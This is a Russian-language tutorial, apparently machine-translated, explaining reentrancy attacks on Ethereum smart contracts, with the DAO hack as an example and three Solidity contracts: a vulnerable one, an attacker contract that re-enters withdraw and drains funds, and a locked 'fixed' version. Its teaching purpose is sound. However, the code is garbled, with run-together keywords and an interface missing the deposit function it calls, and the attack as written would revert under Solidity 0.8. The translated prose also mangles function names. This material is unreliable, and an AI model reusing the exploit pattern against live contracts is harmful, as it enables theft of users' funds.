Вот как происходит один из самых распространенных взломов смарт-контрактов, который стоил компаниям Web 3 миллионы...
Некоторые из крупнейших взломов в индустрии блокчейнов, когда были украдены токены криптовалюты на миллионы долларов, произошли в результате повторных атак. Хотя в последние годы такие взломы стали менее распространенными, они по-прежнему представляют серьезную угрозу для приложений и пользователей блокчейна.
Так что же такое реентерабельные атаки? Как они развернуты? И есть ли какие-либо меры, которые разработчики могут предпринять, чтобы предотвратить их появление?
Что такое реентерабельная атака?
Реентерабельная атака возникает, когда уязвимая функция смарт-контракта делает внешний вызов вредоносному контракту, временно отказываясь от контроля над потоком транзакций. Затем вредоносный контракт неоднократно вызывает исходную функцию смарт-контракта, прежде чем он завершит выполнение, истощая свои средства.
По сути, транзакция вывода средств в блокчейне Ethereum следует трехэтапному циклу: подтверждение баланса, перевод и обновление баланса. Если киберпреступник может захватить цикл до обновления баланса, он может многократно снимать средства, пока кошелек не будет опустошен.
Один из самых печально известных взломов блокчейна — взлом Ethereum DAO. Коиндеск, была реентерабельной атакой, которая привела к потере эфира на сумму более 60 миллионов долларов и коренным образом изменила курс второй по величине криптовалюты.
Как работает повторная атака?
Представьте себе банк в вашем родном городе, где добродетельные местные жители хранят свои деньги; его общая ликвидность составляет 1 миллион долларов. Однако в банке несовершенная система бухгалтерского учета — сотрудники ждут до вечера, чтобы обновить банковские балансы.
Ваш друг-инвестор посещает город и обнаруживает ошибку в бухгалтерском учете. Он создает счет и вносит 100 000 долларов. Через день он снимает 100 000 долларов. Через час он делает еще одну попытку снять 100 000 долларов. Поскольку банк не обновил его баланс, он по-прежнему составляет 100 000 долларов. Так он получает деньги. Он делает это неоднократно, пока не останется денег. Сотрудники понимают, что денег нет, только когда подводят итоги вечером.
В контексте смарт-контракта процесс выглядит следующим образом:
- Киберпреступник идентифицирует смарт-контракт «X» с уязвимостью.
- Злоумышленник инициирует законную транзакцию с целевым контрактом X, чтобы отправить средства на вредоносный контракт Y. Во время выполнения Y вызывает уязвимую функцию в X.
- Выполнение контракта X приостанавливается или задерживается, поскольку контракт ожидает взаимодействия с внешним событием.
- Пока выполнение приостановлено, злоумышленник неоднократно вызывает одну и ту же уязвимую функцию в X, снова запуская ее выполнение столько раз, сколько возможно.
- При каждом повторном входе состоянием контракта манипулируют, позволяя злоумышленнику переводить средства из X в Y.
- Как только средства исчерпаны, повторный вход прекращается, отложенное выполнение X, наконец, завершается, и состояние контракта обновляется на основе последнего повторного входа.
Как правило, злоумышленник успешно использует уязвимость повторного входа в свою пользу, похищая средства из контракта.
Пример повторной атаки
Так как же технически может произойти повторная атака при развертывании? Вот гипотетический смарт-контракт с реентерабельным шлюзом. Мы будем использовать аксиоматические имена, чтобы было легче следовать.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
Уязвимый контракт позволяет пользователям вносить eth в контракт, используя депозит функция. Затем пользователи могут вывести свои депонированные эфиры, используя отзывать функция. Однако существует уязвимость повторного входа в отзывать функция. Когда пользователь снимает средства, контракт переводит запрошенную сумму на адрес пользователя перед обновлением баланса, создавая возможность для злоумышленника.
А вот как будет выглядеть смарт-контракт злоумышленника.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
При запуске атаки:
- АтакующийКонтракт принимает адрес г. Уязвимый контракт в своем конструкторе и сохраняет его в уязвимый контракт переменная.
- атака функция вызывается злоумышленником, внося некоторое количество eth в Уязвимый контракт используя депозит функцию, а затем сразу вызов отзывать функция Уязвимый контракт.
- отзывать функция в Уязвимый контракт передает запрошенное количество eth атакующему АтакующийКонтракт перед обновлением баланса, но так как во время внешнего вызова контракт злоумышленника приостановлен, функция еще не завершена.
- получать функция в АтакующийКонтракт срабатывает, потому что Уязвимый контракт отправил eth на этот контракт во время внешнего вызова.
- Функция приема проверяет, АтакующийКонтракт баланс составляет не менее 1 эфира (сумма для вывода), то он повторно входит в Уязвимый контракт позвонив отзывать снова функционировать.
- Шаги с третьего по пятый повторяются до тех пор, пока Уязвимый контракт заканчиваются средства, а в контракте злоумышленника накапливается значительное количество eth.
- Наконец, злоумышленник может вызвать вывестиStolenFunds функция в АтакующийКонтракт украсть все средства, накопленные в их контракте.
Атака может произойти очень быстро, в зависимости от производительности сети. При использовании сложных смарт-контрактов, таких как взлом DAO, который привел к хард-форку Ethereum в Эфириум и Эфириум Классик, приступ происходит в течение нескольких часов.
Как предотвратить повторную атаку
Чтобы предотвратить повторную атаку, нам необходимо изменить уязвимый смарт-контракт, чтобы следовать рекомендациям по безопасной разработке смарт-контрактов. В этом случае мы должны реализовать паттерн «проверки-эффекты-взаимодействия», как в коде ниже.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
В этой фиксированной версии мы ввели isLocked сопоставление, чтобы отслеживать, находится ли конкретный счет в процессе вывода средств. Когда пользователь инициирует снятие средств, контракт проверяет, заблокирована ли его учетная запись (!isLocked[msg.sender]), что указывает на то, что в настоящее время не производится никаких других операций по снятию средств с той же учетной записи.
Если учетная запись не заблокирована, контракт продолжается с изменением состояния и внешним взаимодействием. После изменения состояния и внешнего взаимодействия учетная запись снова разблокируется, что позволяет снимать средства в будущем.
Типы реентерабельных атак
Как правило, существует три основных типа атак с повторным входом в зависимости от характера их эксплуатации.
- Одиночная реентерабельная атака: В этом случае уязвимая функция, которую злоумышленник неоднократно вызывает, — это та же самая функция, которая восприимчива к шлюзу повторного входа. Приведенная выше атака является примером атаки с одним повторным входом, которую можно легко предотвратить, внедрив в код надлежащие проверки и блокировки.
- Кросс-функциональная атака: В этом сценарии злоумышленник использует уязвимую функцию для вызова другой функции в рамках того же контракта, который находится в том же состоянии, что и уязвимая функция. Вторая функция, вызываемая злоумышленником, имеет желаемый эффект, что делает ее более привлекательной для эксплуатации. Эта атака является более сложной и трудной для обнаружения, поэтому для ее смягчения необходимы строгие проверки и блокировки взаимосвязанных функций.
- Кросс-контрактная атака: Эта атака происходит, когда внешний контракт взаимодействует с уязвимым контрактом. Во время этого взаимодействия состояние уязвимого контракта вызывается во внешнем контракте до его полного обновления. Обычно это происходит, когда несколько контрактов используют одну и ту же переменную, а некоторые из них небезопасно обновляют общую переменную. Защищенные протоколы связи между контрактами и периодическими аудит смарт-контрактов должны быть реализованы для смягчения этой атаки.
Атаки с повторным входом могут проявляться в разных формах, поэтому для предотвращения каждой из них требуются определенные меры.
Защита от повторных атак
Повторные атаки привели к значительным финансовым потерям и подорвали доверие к блокчейн-приложениям. Чтобы защитить контракты, разработчики должны старательно применять лучшие практики, чтобы избежать уязвимостей повторного входа.
Они также должны внедрить безопасные модели вывода средств, использовать надежные библиотеки и проводить тщательные проверки, чтобы еще больше укрепить защиту смарт-контракта. Конечно, информирование о возникающих угрозах и активное участие в мерах безопасности также могут гарантировать целостность экосистемы блокчейна.